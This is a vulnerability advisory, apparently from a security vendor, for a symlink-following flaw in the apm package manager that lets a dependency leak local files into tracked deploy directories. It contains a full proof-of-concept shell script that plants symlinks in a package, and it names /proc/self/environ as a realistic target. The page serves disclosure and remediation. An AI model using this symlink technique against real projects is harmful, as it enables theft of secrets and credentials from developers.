CVE-2026-45539

CVE-2026-45539 is a high-severity security vulnerability in apm (pip), affecting versions >= 0.5.4, <= 0.12.4. It is fixed in 0.13.0.

Summary

Two primitive integrators in apm-cli enumerate package files with bare Path.glob() / Path.rglob() calls and read each match with Path.read_text(), transparently following symbolic links.

A symlink committed inside a remote APM dependency under .apm/prompts/<x>.prompt.md or .apm/agents/<x>.agent.md is preserved verbatim into apm_modules/ on clone and then dereferenced during integration, with the resolved content written as a regular file into the project's deploy directories.

The package content_hash, the pre-deploy SecurityGate scan, and apm audit do not flag this. The deploy roots are not added to the auto-generated .gitignore, so the resulting files are staged by git add by default.

This was reproduced via the standard owner/repo#tag install flow against a real bare git repository. No --force or special flags were used.

Affected code

Sinks

  • src/apm_cli/integration/prompt_integrator.py
    PromptIntegrator.find_prompt_files: package_path.glob("*.prompt.md") and apm_prompts.glob("*.prompt.md")
    No symlink filter.

  • src/apm_cli/integration/prompt_integrator.py
    PromptIntegrator.copy_prompt: source.read_text("utf-8")

  • src/apm_cli/integration/agent_integrator.py
    AgentIntegrator.find_agent_files: package_path.glob("*.agent.md"), apm_agents.rglob("*.agent.md"), apm_agents.rglob("*.md"), apm_chatmodes.glob("*.chatmode.md")
    No symlink filter.

  • src/apm_cli/integration/agent_integrator.py
    AgentIntegrator.copy_agent: source.read_text("utf-8")

  • src/apm_cli/integration/agent_integrator.py
    _write_codex_agent: source.read_text("utf-8"); resolved bytes are embedded into developer_instructions of the generated .codex/agents/<name>.toml

  • src/apm_cli/integration/agent_integrator.py
    _write_windsurf_agent_skill: same dereference pattern; resolved bytes land in .windsurf/skills/<name>/SKILL.md

Safe pattern already present in the codebase

  • src/apm_cli/integration/base_integrator.py
    BaseIntegrator.find_files_by_glob() rejects:
    • symlinks via f.is_symlink()
    • hardlinks via f.stat().st_nlink > 1
    • resolved paths escaping the package root

This helper is already used by InstructionIntegrator.find_instruction_files.

Documented contract that the affected integrators violate

In src/apm_cli/install/phases/local_content.py, _copy_local_package documents the intent of preserving symlinks in apm_modules/:

This is security-relevant and not intended behavior because the codebase already documents that symlinks preserved in apm_modules/ are supposed to remain inert unless a consumer follows them safely. The affected integrators are exactly those consumer paths, and they dereference the symlink without sandboxing or symlink checks. That makes this an implementation gap, not expected design.

The affected integrators are the consumer tools that follow the link without sandboxing.

Reproducer

This proof of concept is localhost-only and uses a sentinel file, not a real secret.

It uses a real bare git repository and git config insteadOf so the install path is the same one APM uses for real GitHub clones (Repo.clone_from). No network access is required.

# 0. Clean slate
rm -rf /tmp/poc /tmp/poc_secret /tmp/poc_home
mkdir -p /tmp/poc/{remote_bare,victim_project,work_repo} /tmp/poc_home

# 1. Sentinel file outside the project and outside the package
echo 'APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL' > /tmp/poc_secret

# 2. Build a benign-looking APM package with two symlinks in it
cd /tmp/poc/work_repo
git init -q -b main .
git config user.email [email protected]
git config user.name 'PoC'

cat > apm.yml <<'YML'
name: helpful-agents
version: 1.0.0
description: Helpful AI agent collection
YML

mkdir -p .apm/agents .apm/prompts

cat > .apm/agents/helper.agent.md <<'AGENT'
---
name: helper
description: A helpful assistant
---
You are a helpful assistant.
AGENT

ln -s /tmp/poc_secret .apm/agents/notes.agent.md
ln -s /tmp/poc_secret .apm/prompts/welcome.prompt.md

git add -A
git commit -q -m "initial"
git tag v1.0.0

git ls-tree -r HEAD | grep '^120000'

# 3. Bare repo
git clone --bare -q /tmp/poc/work_repo /tmp/poc/remote_bare/helpful-agents.git

# 4. Rewrite the GitHub URL APM constructs onto the local bare repo
cat > /tmp/poc_home/.gitconfig <<'GITCONFIG'
[user]
    email = [email protected]
    name  = PoC
[url "/tmp/poc/remote_bare/helpful-agents.git"]
    insteadOf = https://github.com/poc-author/helpful-agents
[url "/tmp/poc/remote_bare/helpful-agents.git"]
    insteadOf = https://github.com/poc-author/helpful-agents.git
[safe]
    directory = *
GITCONFIG

# 5. Victim project
mkdir -p /tmp/poc/victim_project/{.github,.claude,.cursor,.codex,.windsurf}

cat > /tmp/poc/victim_project/apm.yml <<'YML'
name: victim-project
version: 1.0.0
description: Victim project
targets: [copilot, claude, cursor, codex, windsurf]
dependencies:
  apm:
    - poc-author/helpful-agents#v1.0.0
YML

# 6. Default install, no special flags
cd /tmp/poc/victim_project
HOME=/tmp/poc_home APM_NO_CACHE=1 GITHUB_TOKEN= apm install

Observed result

Default install output:

[>] Installing dependencies from apm.yml...
[>] Resolving poc-author/helpful-agents...
[i] Targets: claude, codex, copilot, cursor, windsurf  (source: apm.yml)
  [+] poc-author/helpful-agents #v1.0.0 @fa437578
  |-- 1 prompts integrated -> .github/prompts/
  |-- 10 agents integrated -> 5 targets
[*] Installed 1 APM dependency in 0.1s.

The source under apm_modules/ remains a symlink:

ls -l apm_modules/poc-author/helpful-agents/.apm/agents/notes.agent.md
# lrwxrwxrwx ... .apm/agents/notes.agent.md -> /tmp/poc_secret

The deploy roots receive plain regular files containing the sentinel:

  • .github/agents/notes.agent.md
  • .github/prompts/welcome.prompt.md
  • .claude/agents/notes.md
  • .cursor/agents/notes.md
  • .codex/agents/notes.toml
  • .windsurf/skills/notes/SKILL.md

Example:

cat /tmp/poc/victim_project/.claude/agents/notes.md
# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL

The deployed files persist after the original symlink target is removed:

rm /tmp/poc_secret
cat /tmp/poc/victim_project/.claude/agents/notes.md
# APM-AUDIT-SENTINEL-X7Y2Q9-NOT-A-REAL-CREDENTIAL

Defenses that did not flag the result

  • The pre-deploy SecurityGate.scan_files walks with followlinks=False and continues past is_symlink() files. The symlinked source is not scanned.
  • apm audit against the post-install tree reports no findings.
  • The auto-written .gitignore contains only apm_modules/. The deploy roots are not excluded, and git add -A stages all deployed files alongside apm.lock.yaml.
  • The package content_hash is computed before symlink resolution and remained stable across installs whose resolved deployed bytes differed.

Realistic downstream consequences

These were not separately demonstrated with real secrets, but they follow from the validated behavior:

  • The deploy directories (.github/, .claude/, .cursor/, .codex/, .windsurf/) are project-tracked by convention, and the auto-generated .gitignore does not exclude them.
  • In automation that regenerates and commits agent context, the leaked files can be pushed without human review.
  • A symlink target such as /proc/self/environ would resolve to the APM process environment at install time.

Why this is security-relevant and not intended behavior

This is not just "a malicious package being malicious."

The codebase already contains the correct defense in BaseIntegrator.find_files_by_glob(), and that helper explicitly rejects symlinks, hardlinks, and containment escapes. InstructionIntegrator uses it. PromptIntegrator and AgentIntegrator do not.

The codebase also documents that preserving symlinks inside apm_modules/ is acceptable only because the links are supposed to remain inert unless a consumer tool follows them safely. Here, APM itself is the consumer tool that follows them unsafely.

That architectural asymmetry makes this look like an implementation oversight, not intended behavior.

Optional defense in depth

  • In copy_prompt, copy_agent, _write_codex_agent, and _write_windsurf_agent_skill, explicitly raise on source.is_symlink() before reading.
  • Treat any symlink under a dependency's .apm/ tree as a security finding during scanning.

Regression test idea

Add unit tests that create a fixture package with symlinks under .apm/prompts/, .apm/agents/, and .apm/chatmodes/, then assert that the symlink entries are filtered out before any read occurs.

Example shape:

def test_symlink_under_apm_prompts_is_rejected(tmp_path):
    pkg = tmp_path / "pkg"
    (pkg / ".apm/prompts").mkdir(parents=True)

    sentinel = tmp_path / "sentinel.txt"
    sentinel.write_text("REGRESSION-SENTINEL")

    (pkg / ".apm/prompts/leak.prompt.md").symlink_to(sentinel)

    result = PromptIntegrator().find_prompt_files(pkg)

    assert all(not p.is_symlink() for p in result)
    assert not any(p.name == "leak.prompt.md" for p in result)

A second test should mirror the same pattern for AgentIntegrator.find_agent_files().

Impact

The directly demonstrated impact is file-content disclosure.

Any file readable by the user running apm install can be selected by the package author through an absolute symlink target committed inside the dependency, and its contents are then written into the project's deploy directories as regular files.

CVE-2026-45539 has a CVSS score of 7.4 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.13.0); upgrading removes the vulnerable code path.

Affected versions

apm (>= 0.5.4, <= 0.12.4)

Security releases

apm → 0.13.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Route both affected finders through the existing safe helper.

# src/apm_cli/integration/prompt_integrator.py
def find_prompt_files(self, package_path: Path) -> list[Path]:
    return self.find_files_by_glob(
        package_path, "*.prompt.md", subdirs=[".apm/prompts"]
    )
# src/apm_cli/integration/agent_integrator.py
def find_agent_files(self, package_path: Path) -> list[Path]:
    files: list[Path] = []
    files += self.find_files_by_glob(package_path, "*.agent.md")
    files += self.find_files_by_glob(package_path, "*.chatmode.md")
    files += self.find_files_by_glob(
        package_path, "*.agent.md", subdirs=[".apm/agents"]
    )
    files += self.find_files_by_glob(
        package_path, "*.md", subdirs=[".apm/agents"]
    )
    files += self.find_files_by_glob(
        package_path, "*.chatmode.md", subdirs=[".apm/chatmodes"]
    )
    return files

Frequently Asked Questions

  1. What is CVE-2026-45539? CVE-2026-45539 is a high-severity security vulnerability in apm (pip), affecting versions >= 0.5.4, <= 0.12.4. It is fixed in 0.13.0.
  2. How severe is CVE-2026-45539? CVE-2026-45539 has a CVSS score of 7.4 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of apm are affected by CVE-2026-45539? apm (pip) versions >= 0.5.4, <= 0.12.4 is affected.
  4. Is there a fix for CVE-2026-45539? Yes. CVE-2026-45539 is fixed in 0.13.0. Upgrade to this version or later.
  5. Is CVE-2026-45539 exploitable, and should I be worried? Whether CVE-2026-45539 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-45539 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-45539? Upgrade apm to 0.13.0 or later.

Other vulnerabilities in apm

Stop the waste.
Protect your environment with Kodem.